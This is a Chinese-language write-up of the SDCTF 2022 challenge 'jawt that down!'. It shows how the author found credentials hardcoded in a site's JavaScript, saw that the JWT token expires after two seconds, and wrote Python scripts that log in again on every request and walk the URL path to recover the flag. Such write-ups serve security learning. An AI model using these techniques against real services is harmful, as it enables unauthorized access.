[SDCTF 2022]jawt that down!
打开题目,存在登录框

初步测试发现并不存在sql注入漏洞,只好扫一下目录发现有/js的路径
我们进一步扫描

访问/js/login.js看一下,搜索得到用户名和密码
AzureDiamond
hunter2

登陆成功后发现有个N

点进去提示token错误

我们将cookie中的值解密一下,发现验证失败

通过查询json参数可以知道
这个JSON对象表示一个用户的身份验证信息,包含以下参数:
- "username":表示用户名,这里是 “AzureDiamond”。
- "token":表示令牌(token),这里是 “5086a09b2dc4f4bfd9295f942428c63b”。令牌通常用于身份验证和授权,可以用于标识用户或应用程序的身份。
- "iat":表示令牌的发行时间(issued at),这里是 1704255578。它是一个UNIX时间戳,表示令牌生成的时间,以秒为单位。
- "exp":表示令牌的过期时间(expiration time),这里是 1704255580。它也是一个UNIX时间戳,表示令牌的有效时间截至的时间点,以秒为单位。
说明令牌有效时间只有两秒,我们可以尝试写脚本来实现绕过令牌过期
import requests
sess = requests.Session()  #创建session会话对象
url = "http://node5.anna.nssctf.cn:28195/"
def login():
	sess.post(url + "login", data={"username":"AzureDiamond", "password":"hunter2"})
	
login()
resp = sess.get(url + "N")
print(resp.text)
运行脚本后回显S,当我们修改为访问/S时却回显404
而修改为/N/S时成功回显S,那么不妨大胆猜测下通过迭代的路径就是flag,比如/N/S/S/C/T/F/{/.../}
import requests
sess = requests.session()
URL = 'http://node5.anna.nssctf.cn:28611'
flag = '/N/'
while True:
    data = {"username":"AzureDiamond","password":"hunter2"}
    r = sess.post(URL+'/login',data=data)
    print(flag)
    r1 = sess.get(f'{URL}{flag}')
    flag += r1.text + '/'
    if '}' in flag:
        break
print(flag.replace('/',''))
运行得到flag




















